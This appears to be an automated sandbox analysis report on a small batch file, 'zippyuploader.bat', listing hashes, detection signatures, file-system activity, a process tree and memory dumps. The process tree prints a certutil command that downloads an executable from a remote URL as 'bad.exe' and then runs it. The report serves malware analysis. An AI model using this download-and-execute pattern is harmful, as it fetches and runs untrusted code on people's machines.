acfd8e0557e2efc01d981221e5e5e0fcd68f7231a72d3d46361294d9df43d984

General

Target

zippyuploader.bat
Size

107B
MD5

0fac231074f90878c2283b2561ed906c
SHA1

2c3421f0a6c20b8c6fb07ffe62526438a5169194
SHA256

acfd8e0557e2efc01d981221e5e5e0fcd68f7231a72d3d46361294d9df43d984
SHA512

fdc5f227244f4e0a76356aba17e38823e0e9bb0ffc344ce07b6bc9282c7192c08a9cbd42d157d13be0c378c9678aec4ea1ea6c7d663d21e732a73a2ceb6159b9

Score

8^/10

upx

Malware Config

Signatures

Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

bad.exe

pid process

1264 bad.exe

pid	process
1264	bad.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\bad.exe	upx
C:\Users\Admin\AppData\Local\Temp\bad.exe	upx

Drops file in Windows directory 62 IoCs

Processes:

svchost.exe

description	ioc	process
File opened for modification	C:\Windows\SoftwareDistribution\Download\17087e6e4710e63df4fcd8834f70bc99\pj5OoD7hJ+dBGy+3XOjLT8WsuYwervv\BIT2125.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\d341f4322500ef92547a141039af2d20\BIT9972.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\2ef09e08315a593ec3af8ec57ab6a31e\YZBnsYBVNBTl3Isrrjy7P0\FTTOLXxEZk0li+ZNE2Uo=	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\d341f4322500ef92547a141039af2d20\o\egfDu3QHOC\BIT98E4.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\d341f4322500ef92547a141039af2d20\o\egfDu3QHOC\BIT9EA3.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\d60cb501610b6a66743c55eade3ef996\CsA9z1\SlUHUPO8bKnA\BITEA0.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\d60cb501610b6a66743c55eade3ef996\CsA9z1\SlUHUPO8bKnA\5ondRmJ90JlkPETuN535TWk=	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\17087e6e4710e63df4fcd8834f70bc99\BIT21E1.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\ca4af4339884f7018bf988ecac7702ff\9+dL4Puh6FM8puPxsBEX86BMeGqpuC0b7gf2fD9DLLo=	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\7752a73587b3362d505a041fe7f69ecd\BIT6131.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\2ef09e08315a593ec3af8ec57ab6a31e\BIT7446.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\17087e6e4710e63df4fcd8834f70bc99\pj5OoD7hJ+dBGy+3XOjLT8WsuYwervv\BIT14CD.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\d60cb501610b6a66743c55eade3ef996\BIT1EA3.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\ca4af4339884f7018bf988ecac7702ff\BIT64CE.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\cb9f14b7916e97a31f1e53948ed1b67f\6\v9GXr9MSfUt92b0dEpOsHH2H0TwcnvKmtIW8g3ovM=	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\d341f4322500ef92547a141039af2d20\o\egfDu3QHOC\BIT975B.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\d1d4bb0c910695f4fcf53d8f91faafa7\BIT7425.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\cb9f14b7916e97a31f1e53948ed1b67f\c3ca3df6b0660cc02fa0c60992eb1164c186b223	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\d60cb501610b6a66743c55eade3ef996\CsA9z1\SlUHUPO8bKnA\BIT1E25.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\ca4af4339884f7018bf988ecac7702ff\BIT6074.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\d1d4bb0c910695f4fcf53d8f91faafa7\Jda7di8befpfPWz3DrhkMwwJL9XbuL8\fDFnweOZvFE=	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\2ef09e08315a593ec3af8ec57ab6a31e\YZBnsYBVNBTl3Isrrjy7P0\BIT73C7.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\2ef09e08315a593ec3af8ec57ab6a31e\BIT7B5E.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\d341f4322500ef92547a141039af2d20\BIT9F6F.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\d341f4322500ef92547a141039af2d20\o\egfDu3QHOC\Xbfe7KpvVnvJHxQ2cRDBmUlnoMnpDY=	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\17087e6e4710e63df4fcd8834f70bc99\pj5OoD7hJ+dBGy+3XOjLT8WsuYwervv\LZOCjtiHKk8=	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\7752a73587b3362d505a041fe7f69ecd\BIT61DE.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\26794b1631618c81e2caec277357b370\BIT8FD8.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\d1d4bb0c910695f4fcf53d8f91faafa7\BIT7726.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\cb9f14b7916e97a31f1e53948ed1b67f\6\BIT868E.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\2ef09e08315a593ec3af8ec57ab6a31e\YZBnsYBVNBTl3Isrrjy7P0\BIT7AD0.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\26794b1631618c81e2caec277357b370\BIT839D.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\d341f4322500ef92547a141039af2d20\BIT97E9.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\ca4af4339884f7018bf988ecac7702ff\612ad442b8740f4c57b8c84e6bf465ba4699118c	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\ca4af4339884f7018bf988ecac7702ff\BIT6450.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\7752a73587b3362d505a041fe7f69ecd\BIT6ABC.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\7752a73587b3362d505a041fe7f69ecd\BIT6A2E.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\9d6172fa1dc41a48846593219fc6519f\e1a85885fd4453165061351651289cce8f8590c4	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\7752a73587b3362d505a041fe7f69ecd\F2WKV54ysEMEW9U+EfiUeJcNcgfNL4pMC5NmE0a3mAg=	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\ca4af4339884f7018bf988ecac7702ff\BIT619F.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\d60cb501610b6a66743c55eade3ef996\BITF7C.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\7752a73587b3362d505a041fe7f69ecd\af66e12c1bb9d8519da21259d0fcd88c247cb4f1	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\9d6172fa1dc41a48846593219fc6519f\BITE12.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\9d6172fa1dc41a48846593219fc6519f\Cmn5TH6S2lFFnfMN8MLr2EoNUIAGzQo2UUjHGMEC99A=	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\9d6172fa1dc41a48846593219fc6519f\BITF3D.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\9d6172fa1dc41a48846593219fc6519f\BIT55F3.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\9d6172fa1dc41a48846593219fc6519f\BIT576B.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\d1d4bb0c910695f4fcf53d8f91faafa7\Jda7di8befpfPWz3DrhkMwwJL9XbuL8\BIT730A.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\d1d4bb0c910695f4fcf53d8f91faafa7\d9f2a302574bf135efc9dbd1a8083a336f7f52f0	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\d1d4bb0c910695f4fcf53d8f91faafa7\Jda7di8befpfPWz3DrhkMwwJL9XbuL8\BIT76A8.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\d60cb501610b6a66743c55eade3ef996\f3535a3b47819a04c6d5ee18905493be086e801e	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\17087e6e4710e63df4fcd8834f70bc99\BIT1606.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\17087e6e4710e63df4fcd8834f70bc99\a3f602ea4d534d006919a2613d91f9506b383314	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\26794b1631618c81e2caec277357b370\fbaaae7103d0f0a1303a40d280aa18bafcd08dcf	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\cb9f14b7916e97a31f1e53948ed1b67f\BIT870C.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\26794b1631618c81e2caec277357b370\BIT8F4B.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\2ef09e08315a593ec3af8ec57ab6a31e\6e15245aed25ee83b027521f9cf9ea812c9d016d	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\26794b1631618c81e2caec277357b370\daNJ9YVgpN191GzoPynRDpTEDO9uUytOK6Ln7xcN8To=	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\cb9f14b7916e97a31f1e53948ed1b67f\BIT83FC.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\cb9f14b7916e97a31f1e53948ed1b67f\6\BIT82E1.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\26794b1631618c81e2caec277357b370\BIT843C.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\d341f4322500ef92547a141039af2d20\2cd32031792245e69c7777193005916861cbbe94	svchost.exe

Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

bad.exe

pid process

1264 bad.exe
1264 bad.exe
1264 bad.exe

pid	process
1264	bad.exe
1264	bad.exe
1264	bad.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 3460 wrote to memory of 3456	3460	cmd.exe	certutil.exe
PID 3460 wrote to memory of 3456	3460	cmd.exe	certutil.exe
PID 3460 wrote to memory of 1264	3460	cmd.exe	bad.exe
PID 3460 wrote to memory of 1264	3460	cmd.exe	bad.exe
PID 3460 wrote to memory of 1264	3460	cmd.exe	bad.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\zippyuploader.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3460

C:\Windows\system32\certutil.exe
certutil.exe -urlcache -f https://www.zippyshare.com/zippyuploader/ZippyUploader.exe bad.exe
2⤵
PID:3456

C:\Users\Admin\AppData\Local\Temp\bad.exe
bad.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1264

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
1⤵
- Drops file in Windows directory
PID:2920

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\bad.exe

MD5
ed323324bff4fbe54be6040ef429862c

SHA1
2182d6953bc33050d44ca585ca3e6e64cd0a6864

SHA256
88184dea2107e5fc67d1901391963b4b7a94381407c9fbb20936269acff6c442

SHA512
72511481199722a7d31ff3a50ac0a9f9126f8d124c22f1bb0457a43466ee2263c1bd5012209ee2f426dfcc17645842098e2594321eae3562dde86b25ade6831b

Download Submit
C:\Users\Admin\AppData\Local\Temp\bad.exe

MD5
ed323324bff4fbe54be6040ef429862c

SHA1
2182d6953bc33050d44ca585ca3e6e64cd0a6864

SHA256
88184dea2107e5fc67d1901391963b4b7a94381407c9fbb20936269acff6c442

SHA512
72511481199722a7d31ff3a50ac0a9f9126f8d124c22f1bb0457a43466ee2263c1bd5012209ee2f426dfcc17645842098e2594321eae3562dde86b25ade6831b

Download Submit
memory/1264-136-0x0000000000C20000-0x0000000000C21000-memory.dmp

Filesize
4KB

Download
memory/2920-137-0x000002AD1A660000-0x000002AD1A670000-memory.dmp

Filesize
64KB

Download
memory/2920-138-0x000002AD1A6C0000-0x000002AD1A6D0000-memory.dmp

Filesize
64KB

Download
memory/2920-139-0x000002AD1A9F0000-0x000002AD1A9F4000-memory.dmp

Filesize
16KB

Download
memory/2920-140-0x000002AD1CFD0000-0x000002AD1CFD4000-memory.dmp

Filesize
16KB

Download
memory/2920-141-0x000002AD1CFD0000-0x000002AD1CFD4000-memory.dmp

Filesize
16KB

Download
memory/2920-142-0x000002AD1CFF0000-0x000002AD1CFF4000-memory.dmp

Filesize
16KB

Download
memory/2920-143-0x000002AD1CFE0000-0x000002AD1CFE1000-memory.dmp

Filesize
4KB

Download
memory/2920-144-0x000002AD1D0E0000-0x000002AD1D0E4000-memory.dmp

Filesize
16KB

Download
memory/2920-145-0x000002AD1D0E0000-0x000002AD1D0E4000-memory.dmp

Filesize
16KB

Download
memory/2920-146-0x000002AD1D120000-0x000002AD1D124000-memory.dmp

Filesize
16KB

Download
memory/2920-147-0x000002AD1D080000-0x000002AD1D084000-memory.dmp

Filesize
16KB

Download
memory/2920-148-0x000002AD1D0D0000-0x000002AD1D0D4000-memory.dmp

Filesize
16KB

Download
memory/2920-149-0x000002AD1CF50000-0x000002AD1CF54000-memory.dmp

Filesize
16KB

Download
memory/2920-151-0x000002AD1CC80000-0x000002AD1CC84000-memory.dmp

Filesize
16KB

Download
memory/2920-152-0x000002AD1CC70000-0x000002AD1CC71000-memory.dmp

Filesize
4KB

Download
memory/2920-153-0x000002AD1CC70000-0x000002AD1CC74000-memory.dmp

Filesize
16KB

Download
memory/2920-154-0x000002AD1A970000-0x000002AD1A971000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads